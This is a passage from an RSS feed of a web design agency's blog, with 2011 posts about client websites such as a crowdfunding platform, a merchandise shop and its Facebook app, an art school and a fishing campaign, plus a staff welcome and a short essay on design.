<p>We take our work personally. In order to provide the most adequate support our system engineers follow the inner relations between servers&rsquo; software and the hosted applications, as well as the impact of various events &ndash; software updates, introduction of new modules, etc. Thus they are few steps forward to the solution when the server fails to perform. And you know that speed and accuracy are of great importance when your reputation and money are at stake.</p>]]></content:encoded>
			</item>
					<item>
				<title>Ideas that change life for the better</title>
				<link>http://mtr-design.com/blog/ideas-that-change-life-for-the-better/</link>
				<pubDate>Thu, 10 Nov 2011 07:09:02 +0000</pubDate>
				<dc:creator>Milen Nedev</dc:creator>
									<category><![CDATA[Projects]]></category>
								<guid isPermaLink="true">http://mtr-design.com/blog/ideas-that-change-life-for-the-better/</guid>
								<description><![CDATA[<p><em>One person with a good idea can change the world and make it a better place. However most of the time he or she will need some help to make it happen.</em></p>
<p>Today we&rsquo;d like to tell you a little story about the new website we built for our friends from KEO Digital.</p>
<p>At <a title="peoplefund.it" href="http://www.peoplefund.it">peoplefund.it</a> each great thinker gets the chance to put his idea to the test and try to find supporters and funding to make his project grow into a successful business.</p>
<p><strong>How it works?</strong></p>
<p>Simple&hellip;</p>
<div>
<object id="video" width="576" height="316" data="http://view.vzaar.com/856153/flashplayer" type="application/x-shockwave-flash">
<param name="allowFullScreen" value="true" />
<param name="allowScriptAccess" value="always" />
<param name="wmode" value="transparent" />
<param name="flashvars" value="showplaybutton=true&amp;border=none" />
<param name="src" value="http://view.vzaar.com/856153/flashplayer" />
</object>
</div>
<p>&nbsp;</p>
<p>Once you have your project all cleared up and predefined, you should set the target sum and time for raising it and start collecting pledges. Put in all the ingredients to make your stuff attractive &nbsp;&ndash; rewards, videos, pictures, inspiring texts. Then wait to see how people like it. Or love it, or adore it.</p>
<p>This is how it worked for our featured heroes - <strong><a title="The Bicycle Academy" href="http://www.peoplefund.it/the-bicycle-academy/">The Bicycle academy</a></strong>. Two guys had an inspiring idea to start a bicycle framebuilding school and give away every first bicycle to the people who really need it &ndash; in Africa! Thanks to crowd funding and <a title="peoplefund.it" href="http://www.peoplefund.it">peoplefund.it</a> they reached their target for less than a week and managed to raise more than &pound;40,000. Fascinating, isn&rsquo;t it?</p>
<p>How could this happen? They had an ingenious idea, but it wasn&rsquo;t enough. They had to add in their passion, dedication, inspiration, love and make it as popular as possible. And it was up to www.peoplefund.it to prove that this could work. It was really astonishing how quickly the pledges were made and the goal was reached. We are proud of our work and even more satisfied of how the site helped an original good idea to become reality.</p>
<p>See for yourself how <strong><a title="The Bicycle Academy" href="http://www.peoplefund.it/the-bicycle-academy/">The Bicycle academy</a></strong> made it.</p>
<p>And next time YOU have a brilliant idea in mind &ndash; don&rsquo;t let it slip away. Test it here to see whether <a title="peoplefund.it" href="http://www.peoplefund.it">peoplefund.it</a>.</p><embed flashvars="showplaybutton=true&amp;border=none" src="http://view.vzaar.com/856153/flashplayer" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="576" height="316"></embed>]]></description>
				<content:encoded><![CDATA[<p><em>One person with a good idea can change the world and make it a better place. However most of the time he or she will need some help to make it happen.</em></p>
<p>Today we&rsquo;d like to tell you a little story about the new website we built for our friends from KEO Digital.</p>
<p>At <a title="peoplefund.it" href="http://www.peoplefund.it">peoplefund.it</a> each great thinker gets the chance to put his idea to the test and try to find supporters and funding to make his project grow into a successful business.</p>
<p><strong>How it works?</strong></p>
<p>Simple&hellip;</p>
<div>
<object id="video" width="576" height="316" data="http://view.vzaar.com/856153/flashplayer" type="application/x-shockwave-flash">
<param name="allowFullScreen" value="true" />
<param name="allowScriptAccess" value="always" />
<param name="wmode" value="transparent" />
<param name="flashvars" value="showplaybutton=true&amp;border=none" />
<param name="src" value="http://view.vzaar.com/856153/flashplayer" />
</object>
</div>
<p>&nbsp;</p>
<p>Once you have your project all cleared up and predefined, you should set the target sum and time for raising it and start collecting pledges. Put in all the ingredients to make your stuff attractive &nbsp;&ndash; rewards, videos, pictures, inspiring texts. Then wait to see how people like it. Or love it, or adore it.</p>
<p>This is how it worked for our featured heroes - <strong><a title="The Bicycle Academy" href="http://www.peoplefund.it/the-bicycle-academy/">The Bicycle academy</a></strong>. Two guys had an inspiring idea to start a bicycle framebuilding school and give away every first bicycle to the people who really need it &ndash; in Africa! Thanks to crowd funding and <a title="peoplefund.it" href="http://www.peoplefund.it">peoplefund.it</a> they reached their target for less than a week and managed to raise more than &pound;40,000. Fascinating, isn&rsquo;t it?</p>
<p>How could this happen? They had an ingenious idea, but it wasn&rsquo;t enough. They had to add in their passion, dedication, inspiration, love and make it as popular as possible. And it was up to www.peoplefund.it to prove that this could work. It was really astonishing how quickly the pledges were made and the goal was reached. We are proud of our work and even more satisfied of how the site helped an original good idea to become reality.</p>
<p>See for yourself how <strong><a title="The Bicycle Academy" href="http://www.peoplefund.it/the-bicycle-academy/">The Bicycle academy</a></strong> made it.</p>
<p>And next time YOU have a brilliant idea in mind &ndash; don&rsquo;t let it slip away. Test it here to see whether <a title="peoplefund.it" href="http://www.peoplefund.it">peoplefund.it</a>.</p><embed flashvars="showplaybutton=true&amp;border=none" src="http://view.vzaar.com/856153/flashplayer" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="576" height="316"></embed>]]></content:encoded>
			</item>
					<item>
				<title>Long live the system engineer!</title>
				<link>http://mtr-design.com/blog/long-live-the-system-engineer/</link>
				<pubDate>Thu, 22 Sep 2011 14:46:36 +0000</pubDate>
				<dc:creator>Zhivka Georgieva</dc:creator>
									<category><![CDATA[Server Administration]]></category>
									<category><![CDATA[Company News]]></category>
								<guid isPermaLink="true">http://mtr-design.com/blog/long-live-the-system-engineer/</guid>
								<description><![CDATA[<p>The arrival of a new member in the company has always been an event to be celebrated, so we can&rsquo;t wait to express our satisfaction for welcoming on board Emil &ndash; our first and brand new system engineer.</p>
<p>For almost two months now he&rsquo;s been working hard to put some order in our hosting infrastructure. The latter is not a piece of cake as the number of servers is steadily growing and living in a world where even <a title="Amazon AWS" href="http://aws.amazon.com/">Amazon</a> have cloudy Fridays the sanity is vulnerable and the stress is taking over.</p>
<p>But having Emil on our side &ndash; a server whisperer, Python zealot and a Django fan &ndash; <a href="/team/">the team</a> is in full force to cope with any adversity the web could throw at us.</p>
<p>And what is more important &ndash; at last Milen can have his good night&rsquo;s sleep not having to worry about the clouds in the web sky.</p>]]></description>
				<content:encoded><![CDATA[<p>The arrival of a new member in the company has always been an event to be celebrated, so we can&rsquo;t wait to express our satisfaction for welcoming on board Emil &ndash; our first and brand new system engineer.</p>
<p>For almost two months now he&rsquo;s been working hard to put some order in our hosting infrastructure. The latter is not a piece of cake as the number of servers is steadily growing and living in a world where even <a title="Amazon AWS" href="http://aws.amazon.com/">Amazon</a> have cloudy Fridays the sanity is vulnerable and the stress is taking over.</p>
<p>But having Emil on our side &ndash; a server whisperer, Python zealot and a Django fan &ndash; <a href="/team/">the team</a> is in full force to cope with any adversity the web could throw at us.</p>
<p>And what is more important &ndash; at last Milen can have his good night&rsquo;s sleep not having to worry about the clouds in the web sky.</p>]]></content:encoded>
			</item>
					<item>
				<title>Everyone’s gone mobile</title>
				<link>http://mtr-design.com/blog/everyones-gone-mobile/</link>
				<pubDate>Sun, 18 Sep 2011 09:59:15 +0000</pubDate>
				<dc:creator>Zhivka Georgieva</dc:creator>
									<category><![CDATA[Projects]]></category>
								<guid isPermaLink="true">http://mtr-design.com/blog/everyones-gone-mobile/</guid>
								<description><![CDATA[<p>So it&rsquo;s time for you too to get your <a title="Dizzyjam" href="http://www.dizzyjam.com/">Dizzyjam</a> business on the move. Browsing through the new mobile <a title="Dizzyjam mobile" href="http://m.dizzyjam.com/">http://m.dizzyjam.com/</a> website you can show your merch everywhere you go.</p>
<p>The mobile version of the site was not a major project but had some treats in store for our team. The site is a place full of items, packed with all kinds of information and shop products, so we had to sieve all the necessary features and make them fit into your palm. At the same time we had to make sure that nothing precious would be sacrificed for the sake of simplicity.</p>
<p>The result is quite satisfying &ndash; an easy to access and fast to browse through mobile-friendly site that gives you the feel you are staring at the whole picture. The mobile version of <a title="Dizzyjam" href="http://www.dizzyjam.com/">Dizzyjam</a> provides a simple checkout process and works brilliantly as your personal merch stall wherever you are.</p>
<p>The focus is set on the shop items &ndash; so they are presented in their most &ndash; the logo designs and the variety of the products are easy to see and even easier to buy. This gives the shop owners yet another way to advertise and propel their business as they literally have their shop in their pocket.</p>]]></description>
				<content:encoded><![CDATA[<p>So it&rsquo;s time for you too to get your <a title="Dizzyjam" href="http://www.dizzyjam.com/">Dizzyjam</a> business on the move. Browsing through the new mobile <a title="Dizzyjam mobile" href="http://m.dizzyjam.com/">http://m.dizzyjam.com/</a> website you can show your merch everywhere you go.</p>
<p>The mobile version of the site was not a major project but had some treats in store for our team. The site is a place full of items, packed with all kinds of information and shop products, so we had to sieve all the necessary features and make them fit into your palm. At the same time we had to make sure that nothing precious would be sacrificed for the sake of simplicity.</p>
<p>The result is quite satisfying &ndash; an easy to access and fast to browse through mobile-friendly site that gives you the feel you are staring at the whole picture. The mobile version of <a title="Dizzyjam" href="http://www.dizzyjam.com/">Dizzyjam</a> provides a simple checkout process and works brilliantly as your personal merch stall wherever you are.</p>
<p>The focus is set on the shop items &ndash; so they are presented in their most &ndash; the logo designs and the variety of the products are easy to see and even easier to buy. This gives the shop owners yet another way to advertise and propel their business as they literally have their shop in their pocket.</p>]]></content:encoded>
			</item>
					<item>
				<title>Back to school</title>
				<link>http://mtr-design.com/blog/back-to-school/</link>
				<pubDate>Wed, 17 Aug 2011 15:58:16 +0000</pubDate>
				<dc:creator>Milen Nedev</dc:creator>
									<category><![CDATA[Projects]]></category>
								<guid isPermaLink="true">http://mtr-design.com/blog/back-to-school/</guid>
								<description><![CDATA[<p>Starting the new school year with a fresh project &ndash; the Newlyn School of Art web site.</p>
<p>With the summer almost over, and September knocking on the door, the kids are getting ready for school. &nbsp;So is our team. The perfect project to get us in the mood was the Newlyn School of Art&rsquo;s web site. Launching <a title="Newlyn School of Art" href="http://www.newlynartschool.co.uk/">http://www.newlynartschool.co.uk/</a> just a few days ago made us feel involved in the whole &ldquo;back to school&rdquo; hullabaloo.</p>
<p>We are really proud to share with you the outcome of our work and hope it will inspire you and colour your day.</p>
<p><img title="Newlyn School of Art" src="http://mtr-design.com/var/blog/newlynartschool-site.jpg" alt="Newlyn School of Art" width="780" height="963" /></p>]]></description>
				<content:encoded><![CDATA[<p>Starting the new school year with a fresh project &ndash; the Newlyn School of Art web site.</p>
<p>With the summer almost over, and September knocking on the door, the kids are getting ready for school. &nbsp;So is our team. The perfect project to get us in the mood was the Newlyn School of Art&rsquo;s web site. Launching <a title="Newlyn School of Art" href="http://www.newlynartschool.co.uk/">http://www.newlynartschool.co.uk/</a> just a few days ago made us feel involved in the whole &ldquo;back to school&rdquo; hullabaloo.</p>
<p>We are really proud to share with you the outcome of our work and hope it will inspire you and colour your day.</p>
<p><img title="Newlyn School of Art" src="http://mtr-design.com/var/blog/newlynartschool-site.jpg" alt="Newlyn School of Art" width="780" height="963" /></p>]]></content:encoded>
			</item>
					<item>
				<title>What’s been on our timetable in the past few weeks</title>
				<link>http://mtr-design.com/blog/whats-been-on-our-timetable-in-the-past-few-weeks/</link>
				<pubDate>Fri, 12 Aug 2011 10:32:29 +0000</pubDate>
				<dc:creator>Zhivka Georgieva</dc:creator>
									<category><![CDATA[Company News]]></category>
									<category><![CDATA[General]]></category>
									<category><![CDATA[Projects]]></category>
								<guid isPermaLink="true">http://mtr-design.com/blog/whats-been-on-our-timetable-in-the-past-few-weeks/</guid>
								<description><![CDATA[<p>We&rsquo;ve been busy lately with some stuff going on, so skipped posting for a couple of weeks. The main reason for the blog silence was the relocation of Milen, our managing director, (closely followed by his personal copywriter) in Wales in the beginning of August, so enjoying the English weather and the warm welcome Cardiff gave us was the main issue for a week or two and proved to be time taking for some of us, who are currently catching up with sharing the latest news about our projects.</p>
<p>Hopefully we are back on track and have a few new things to show you.</p>
<p>First of all we would really like to share what a wonderful job the <a href="http://www.fishfight.net/">Hugh&rsquo;s Fish Fight</a> website is doing. Last week the 4<sup>th</sup> episode was played on <a href="http://www.channel4.com/">Channel 4</a> and we definitely hit some new records of public interest. The web site scored some of the highest numbers of visits we&rsquo;ve seen and we are really proud of it managing to meet all the interest. Previously in the campaign our team expanded the range of the site and it went international &ndash; now it&rsquo;s live and functioning on 11 different European languages.</p>
<p>The campaign is already making fisheries policy change and it wouldn&rsquo;t be so successful unless it was the perfect combination of powerful and charismatic impact of the initiative and the strong and stable support of <a href="http://www.fishfight.net/">http://www.fishfight.net/</a>.</p>
<p>Our arrival in UK was the perfect time for launching another MTR Design project &ndash;&nbsp;<a href="http://www.lifeinukthetest.co.uk/">http://www.lifeinukthetest.co.uk/</a> which is quite a coincidence to start with. This site can give you some really useful information &ndash; something we could say for sure trying it at our moving to UK. So did lots of people who have benefited from it for the last couple of weeks (as free from the website stats). The website provides a throughout&nbsp; information about the history, society and everyday life in UK and scrolling through the variety of lessons one can receive the best chances to pass the British Citizenship Test.</p>
<p>We are having great time in Cardiff. And no wonder as the <a href="http://www.dizzyjam.com/">Dizzyjam</a> headquarters is situated here together with its most eminent members &ndash; Daf and Neil who are dangerously familiar with the club life in the Welsh capital. Well it hasn&rsquo;t been exactly partying all night long during the last two weeks, mostly because of the many thing we had to deal with. Nevertheless the results are dizzying at the end of the day and make us happy the morning after. Some of these are the new feature of <a href="http://www.dizzyjam.com/">Dizzyjam</a>&nbsp;&ndash; embeddable shops.</p>
<p>The <a href="http://www.dizzyjam.com/">Dizzyjam</a>&nbsp;shop owners now have at their disposal a tool which helps them set and embed their shop on their own websites. Following few easy steps every merchandiser can integrate the functions and adjust the looks of their shop in their own web space, thus gaining more popularity in the crowded merch scene.</p>
<p>Well, that&rsquo;s all for now. A humble sunray is sneaking through the clouds so we&rsquo;ll try to catch it. All of you &ndash; our lovely UK friends and partners, feel free to join us any time you are around &ndash; just give us a call and we will find time for a beer and a talk.</p>]]></description>
				<content:encoded><![CDATA[<p>We&rsquo;ve been busy lately with some stuff going on, so skipped posting for a couple of weeks. The main reason for the blog silence was the relocation of Milen, our managing director, (closely followed by his personal copywriter) in Wales in the beginning of August, so enjoying the English weather and the warm welcome Cardiff gave us was the main issue for a week or two and proved to be time taking for some of us, who are currently catching up with sharing the latest news about our projects.</p>
<p>Hopefully we are back on track and have a few new things to show you.</p>
<p>First of all we would really like to share what a wonderful job the <a href="http://www.fishfight.net/">Hugh&rsquo;s Fish Fight</a> website is doing. Last week the 4<sup>th</sup> episode was played on <a href="http://www.channel4.com/">Channel 4</a> and we definitely hit some new records of public interest. The web site scored some of the highest numbers of visits we&rsquo;ve seen and we are really proud of it managing to meet all the interest. Previously in the campaign our team expanded the range of the site and it went international &ndash; now it&rsquo;s live and functioning on 11 different European languages.</p>
<p>The campaign is already making fisheries policy change and it wouldn&rsquo;t be so successful unless it was the perfect combination of powerful and charismatic impact of the initiative and the strong and stable support of <a href="http://www.fishfight.net/">http://www.fishfight.net/</a>.</p>
<p>Our arrival in UK was the perfect time for launching another MTR Design project &ndash;&nbsp;<a href="http://www.lifeinukthetest.co.uk/">http://www.lifeinukthetest.co.uk/</a> which is quite a coincidence to start with. This site can give you some really useful information &ndash; something we could say for sure trying it at our moving to UK. So did lots of people who have benefited from it for the last couple of weeks (as free from the website stats). The website provides a throughout&nbsp; information about the history, society and everyday life in UK and scrolling through the variety of lessons one can receive the best chances to pass the British Citizenship Test.</p>
<p>We are having great time in Cardiff. And no wonder as the <a href="http://www.dizzyjam.com/">Dizzyjam</a> headquarters is situated here together with its most eminent members &ndash; Daf and Neil who are dangerously familiar with the club life in the Welsh capital. Well it hasn&rsquo;t been exactly partying all night long during the last two weeks, mostly because of the many thing we had to deal with. Nevertheless the results are dizzying at the end of the day and make us happy the morning after. Some of these are the new feature of <a href="http://www.dizzyjam.com/">Dizzyjam</a>&nbsp;&ndash; embeddable shops.</p>
<p>The <a href="http://www.dizzyjam.com/">Dizzyjam</a>&nbsp;shop owners now have at their disposal a tool which helps them set and embed their shop on their own websites. Following few easy steps every merchandiser can integrate the functions and adjust the looks of their shop in their own web space, thus gaining more popularity in the crowded merch scene.</p>
<p>Well, that&rsquo;s all for now. A humble sunray is sneaking through the clouds so we&rsquo;ll try to catch it. All of you &ndash; our lovely UK friends and partners, feel free to join us any time you are around &ndash; just give us a call and we will find time for a beer and a talk.</p>]]></content:encoded>
			</item>
					<item>
				<title>Taxation = Theft</title>
				<link>http://mtr-design.com/blog/taxation-theft/</link>
				<pubDate>Thu, 09 Jun 2011 11:40:35 +0000</pubDate>
				<dc:creator>Milen Nedev</dc:creator>
									<category><![CDATA[Interesting]]></category>
								<guid isPermaLink="true">http://mtr-design.com/blog/taxation-theft/</guid>
								<description><![CDATA[<p>It's hard to argue with this video...</p>
<p>
<object width="640" height="390" data="http://www.youtube.com/v/VILa0SE7CVo?version=3&amp;hl=en_US" type="application/x-shockwave-flash">
<param name="allowFullScreen" value="true" />
<param name="allowscriptaccess" value="always" />
<param name="src" value="http://www.youtube.com/v/VILa0SE7CVo?version=3&amp;hl=en_US" />
<param name="allowfullscreen" value="true" />
</object>
</p>
<p>via <a title="Reason Magazine" href="http://reason.com/blog/2011/06/07/taxation-theft-animated-by-slo" target="_blank">Reason Magazine</a></p><embed src="http://www.youtube.com/v/VILa0SE7CVo?version=3&amp;hl=en_US" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="640" height="390"></embed>]]></description>
				<content:encoded><![CDATA[<p>It's hard to argue with this video...</p>
<p>
<object width="640" height="390" data="http://www.youtube.com/v/VILa0SE7CVo?version=3&amp;hl=en_US" type="application/x-shockwave-flash">
<param name="allowFullScreen" value="true" />
<param name="allowscriptaccess" value="always" />
<param name="src" value="http://www.youtube.com/v/VILa0SE7CVo?version=3&amp;hl=en_US" />
<param name="allowfullscreen" value="true" />
</object>
</p>
<p>via <a title="Reason Magazine" href="http://reason.com/blog/2011/06/07/taxation-theft-animated-by-slo" target="_blank">Reason Magazine</a></p><embed src="http://www.youtube.com/v/VILa0SE7CVo?version=3&amp;hl=en_US" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="640" height="390"></embed>]]></content:encoded>
			</item>
					<item>
				<title>Inspiration Needs Some Help</title>
				<link>http://mtr-design.com/blog/inspiration-needs-some-help/</link>
				<pubDate>Wed, 08 Jun 2011 08:41:06 +0000</pubDate>
				<dc:creator>Zhivka Georgieva</dc:creator>
									<category><![CDATA[Interesting]]></category>
									<category><![CDATA[Quotes]]></category>
								<guid isPermaLink="true">http://mtr-design.com/blog/inspiration-needs-some-help/</guid>
								<description><![CDATA[<p>Can&rsquo;t wait to share with you this cool illustration of the creative process. The guys and gals from <a title="VitaminT" href="http://vitamintalent.com/" target="_blank">VitaminT</a> have made it quite clear that the good idea is not all it takes. Although it&rsquo;s a good starting point for looking for some professional help.</p>
<p><a title="How to make a website" href="http://mtr-design.com/var/blog/vitamin-t_how-to-make-a-website.jpg" target="_blank"><img title="How To Make a Website" src="http://mtr-design.com/var/blog/how-to-make-a-website.jpg" alt="How To Make a Website" width="780" height="405" /></a><br />(<a title="How To Make A Website" href="http://mtr-design.com/var/blog/vitamin-t_how-to-make-a-website.jpg" target="_blank">zoomed version of the image</a>)</p>]]></description>
				<content:encoded><![CDATA[<p>Can&rsquo;t wait to share with you this cool illustration of the creative process. The guys and gals from <a title="VitaminT" href="http://vitamintalent.com/" target="_blank">VitaminT</a> have made it quite clear that the good idea is not all it takes. Although it&rsquo;s a good starting point for looking for some professional help.</p>
<p><a title="How to make a website" href="http://mtr-design.com/var/blog/vitamin-t_how-to-make-a-website.jpg" target="_blank"><img title="How To Make a Website" src="http://mtr-design.com/var/blog/how-to-make-a-website.jpg" alt="How To Make a Website" width="780" height="405" /></a><br />(<a title="How To Make A Website" href="http://mtr-design.com/var/blog/vitamin-t_how-to-make-a-website.jpg" target="_blank">zoomed version of the image</a>)</p>]]></content:encoded>
			</item>
					<item>
				<title>Web Comes First, Design Should Follow</title>
				<link>http://mtr-design.com/blog/web-comes-first-design-should-follow/</link>
				<pubDate>Fri, 03 Jun 2011 08:41:22 +0000</pubDate>
				<dc:creator>Zhivka Georgieva</dc:creator>
									<category><![CDATA[General]]></category>
								<guid isPermaLink="true">http://mtr-design.com/blog/web-comes-first-design-should-follow/</guid>
								<description><![CDATA[<p>Recently I came across an interesting article by Marco Arment (<a title="Tim Van Damme&rsquo;s Instapaper iPad redesign" href="http://www.marco.org/2011/05/14/instapaper-redesign-by-tim-van-damme">http://www.marco.org/2011/05/14/instapaper-redesign-by-tim-van-damme</a>) that illustrated in a simple, yet brilliant way my own idea about exaggerating the importance of the fancy design.</p>
<p>People tend to appreciate things by their appearance. Overcrowded flash websites or minimalistic hidden menus &ndash; it&rsquo;s all about the hype of the day and the needs of the users. Or at least what we consider their needs are. Sometimes web design gets lost in the visuals and the original purpose of the web site is being pushed into the background by pretty animated pictures.</p>
<p>So it&rsquo;s very important not to forget that in web design &ldquo;web&rdquo; comes first and &ldquo;design&rdquo; follows. Web sites are not just a couple of damn good artistic layouts, they are built for a reason, so they must be designed in a manner to serve this reason in the best possible way.</p>
<p>Of course I&rsquo;m far from bringing in a manifesto for a <strong>web without pics</strong>, although I definitely stand for banning the flash.</p>
<p>The good design is crucial for drawing the users&rsquo; attention. But it should not distract them from their initial intention, or even worse &ndash; make them wander while searching throughout the site for what they needed in the first place &ndash; such a walk won&rsquo;t last long.</p>
<p>On the other hand the extreme simplicity can give you much trouble. If you have several stylish &ldquo;Kandinsky squares&rdquo; on your site, while all the important features are out of reach, hidden somewhere in abundant site menus, they will be of little use for your exquisite visitors.</p>
<p>It&rsquo;s easy to recognize when things have gone wrong in an application or a site. Unfortunately it&rsquo;s not that simple to make things perfect. One could never guess what the preferences of all users will be &ndash; the rationality and emotionality are in different proportions in each person &ndash; some will like this <a title="A List Apart" href="http://www.alistapart.com/">http://www.alistapart.com/</a>, others will go for that: <a title="Waterlife" href="http://waterlife.nfb.ca/">http://waterlife.nfb.ca/</a> (it will take some time to browse all the elements). It depends on what you&rsquo;re looking for. Fun, recreation, knowledge or service &ndash; not getting it on time can be frustrating even if there is a sweet melody playing and some terrific animation spinning around. Well, I&rsquo;m in the park right now, using the municipal wi fi and I&rsquo;m really doing my best to understand what is this orchestra and floating squares all about. Well, I gave it up. You&rsquo;ve got my point.</p>
<p>It&rsquo;s good to have smashing layouts, but it&rsquo;s better to have the right design which will suit your website&rsquo;s goals.</p>
<p>Remember when I mentioned how hard it is to blend the perfect mixture of emotional perceptions and rationality? In fact I found my own way for mixing both drinks &ndash; I always use the reason as a finger to point me what is the best solution. Every piece of the design should have a meaning and stand on the web page for a reason. Every image should have a story to tell.   As long as I can explain the purpose and designation of each element on the site, I can tell for certain that the designer has done a great job.</p>
<p>Though designers want their full control over the creation process and the tools they use, it&rsquo;s the project manager&rsquo;s job to ask for reasonable and functional layouts.</p>
<p>Everybody should be left alone to do what they are best at, that including the manager who&rsquo;s got the power to explain the concept to the designer and to bring together art and functionality in building an almost perfect, yet beautifully functioning web site.</p>]]></description>
				<content:encoded><![CDATA[<p>Recently I came across an interesting article by Marco Arment (<a title="Tim Van Damme&rsquo;s Instapaper iPad redesign" href="http://www.marco.org/2011/05/14/instapaper-redesign-by-tim-van-damme">http://www.marco.org/2011/05/14/instapaper-redesign-by-tim-van-damme</a>) that illustrated in a simple, yet brilliant way my own idea about exaggerating the importance of the fancy design.</p>
<p>People tend to appreciate things by their appearance. Overcrowded flash websites or minimalistic hidden menus &ndash; it&rsquo;s all about the hype of the day and the needs of the users. Or at least what we consider their needs are. Sometimes web design gets lost in the visuals and the original purpose of the web site is being pushed into the background by pretty animated pictures.</p>
<p>So it&rsquo;s very important not to forget that in web design &ldquo;web&rdquo; comes first and &ldquo;design&rdquo; follows. Web sites are not just a couple of damn good artistic layouts, they are built for a reason, so they must be designed in a manner to serve this reason in the best possible way.</p>
<p>Of course I&rsquo;m far from bringing in a manifesto for a <strong>web without pics</strong>, although I definitely stand for banning the flash.</p>
<p>The good design is crucial for drawing the users&rsquo; attention. But it should not distract them from their initial intention, or even worse &ndash; make them wander while searching throughout the site for what they needed in the first place &ndash; such a walk won&rsquo;t last long.</p>
<p>On the other hand the extreme simplicity can give you much trouble. If you have several stylish &ldquo;Kandinsky squares&rdquo; on your site, while all the important features are out of reach, hidden somewhere in abundant site menus, they will be of little use for your exquisite visitors.</p>
<p>It&rsquo;s easy to recognize when things have gone wrong in an application or a site. Unfortunately it&rsquo;s not that simple to make things perfect. One could never guess what the preferences of all users will be &ndash; the rationality and emotionality are in different proportions in each person &ndash; some will like this <a title="A List Apart" href="http://www.alistapart.com/">http://www.alistapart.com/</a>, others will go for that: <a title="Waterlife" href="http://waterlife.nfb.ca/">http://waterlife.nfb.ca/</a> (it will take some time to browse all the elements). It depends on what you&rsquo;re looking for. Fun, recreation, knowledge or service &ndash; not getting it on time can be frustrating even if there is a sweet melody playing and some terrific animation spinning around. Well, I&rsquo;m in the park right now, using the municipal wi fi and I&rsquo;m really doing my best to understand what is this orchestra and floating squares all about. Well, I gave it up. You&rsquo;ve got my point.</p>
<p>It&rsquo;s good to have smashing layouts, but it&rsquo;s better to have the right design which will suit your website&rsquo;s goals.</p>
<p>Remember when I mentioned how hard it is to blend the perfect mixture of emotional perceptions and rationality? In fact I found my own way for mixing both drinks &ndash; I always use the reason as a finger to point me what is the best solution. Every piece of the design should have a meaning and stand on the web page for a reason. Every image should have a story to tell.   As long as I can explain the purpose and designation of each element on the site, I can tell for certain that the designer has done a great job.</p>
<p>Though designers want their full control over the creation process and the tools they use, it&rsquo;s the project manager&rsquo;s job to ask for reasonable and functional layouts.</p>
<p>Everybody should be left alone to do what they are best at, that including the manager who&rsquo;s got the power to explain the concept to the designer and to bring together art and functionality in building an almost perfect, yet beautifully functioning web site.</p>]]></content:encoded>
			</item>
					<item>
				<title>Hugh's Fish Fight Multiplatform Campaign</title>
				<link>http://mtr-design.com/blog/fish-fight-multiplatform-campaign/</link>
				<pubDate>Sun, 01 May 2011 10:03:44 +0000</pubDate>
				<dc:creator>Milen Nedev</dc:creator>
								<guid isPermaLink="true">http://mtr-design.com/blog/fish-fight-multiplatform-campaign/</guid>
								<description><![CDATA[<p>Our friends from <a href="http://www.keofilms.com/" target="_blank">KEO Films</a> have recently released this fascinating video, a pretty review of the <a href="/portfolio/fishfight/">Fish Fight</a>&nbsp;campaign, our team took part into, and we are eager to share it with you.</p>
<p>MTR Design participated in this multiplatform campaign by creating the website of the initiative and we are absolutely delighted to see our labour being rewarded.</p>
<p>We know for sure when our efforts are worth it &ndash; it&rsquo;s that &nbsp;delightful moment of perfection when a great project has spoken out loud and the raw idea, vested in stimulating digital presentation has made a great impact in the real world. In <a href="/portfolio/fishfight/">Fish Fight</a> we have it all &ndash; a powerful cause, a storming digital introduction and inspiring results.</p>
<p>So enjoy this video and find out what it takes for your ideas to make a difference.</p>
<p><iframe width="1000" height="500" frameborder="0" src="http://www.youtube.com/embed/5vGjeIGEtPE?rel=0"></iframe></p>]]></description>
				<content:encoded><![CDATA[<p>Our friends from <a href="http://www.keofilms.com/" target="_blank">KEO Films</a> have recently released this fascinating video, a pretty review of the <a href="/portfolio/fishfight/">Fish Fight</a>&nbsp;campaign, our team took part into, and we are eager to share it with you.</p>
<p>MTR Design participated in this multiplatform campaign by creating the website of the initiative and we are absolutely delighted to see our labour being rewarded.</p>
<p>We know for sure when our efforts are worth it &ndash; it&rsquo;s that &nbsp;delightful moment of perfection when a great project has spoken out loud and the raw idea, vested in stimulating digital presentation has made a great impact in the real world. In <a href="/portfolio/fishfight/">Fish Fight</a> we have it all &ndash; a powerful cause, a storming digital introduction and inspiring results.</p>
<p>So enjoy this video and find out what it takes for your ideas to make a difference.</p>
<p><iframe width="1000" height="500" frameborder="0" src="http://www.youtube.com/embed/5vGjeIGEtPE?rel=0"></iframe></p>]]></content:encoded>
			</item>
					<item>
				<title>Dizzyjam Facebook App</title>
				<link>http://mtr-design.com/blog/dizzyjam-facebook-app/</link>
				<pubDate>Sun, 17 Apr 2011 10:00:05 +0000</pubDate>
				<dc:creator>Milen Nedev</dc:creator>
									<category><![CDATA[Company News]]></category>
									<category><![CDATA[Projects]]></category>
								<guid isPermaLink="true">http://mtr-design.com/blog/dizzyjam-facebook-app/</guid>
								<description><![CDATA[<p>We are absolutely delighted to announce the launch of our new <a href="http://www.facebook.com/apps/application.php?id=107397642642783&amp;sk=info">Facebook app</a> dedicated to our beloved project <a href="http://www.dizzyjam.com/">Dizzyjam</a>.</p>
<p>Diversification is the key to success. So now the artists can be successful merchandisers using not only their account on Dizzyjam, but making their Facebook profile work for them as well. And after all the more the pub - the more the fans &ndash; both results &ndash; multiplying the sales and the growing number of fans are gratifying. &nbsp;Just install the Dizzyjam Facebook app and enjoy your fans&rsquo; number boost.</p>
<p><img title="Dizzyjam Facebook App" src="http://mtr-design.com/var/blog/dizzyjam-facebook.jpg" alt="Dizzyjam Facebook App" width="702" height="542" /></p>
<p>The app is quite simple to manage and unobtrusively mingles with the interface of your Facebook page. It&rsquo;s easy to install and configure, even easier to use and is a real business galvanizer.</p>
<p>So have a nice time on the web and feel free to be seen everywhere with your wonderful designs.</p>]]></description>
				<content:encoded><![CDATA[<p>We are absolutely delighted to announce the launch of our new <a href="http://www.facebook.com/apps/application.php?id=107397642642783&amp;sk=info">Facebook app</a> dedicated to our beloved project <a href="http://www.dizzyjam.com/">Dizzyjam</a>.</p>
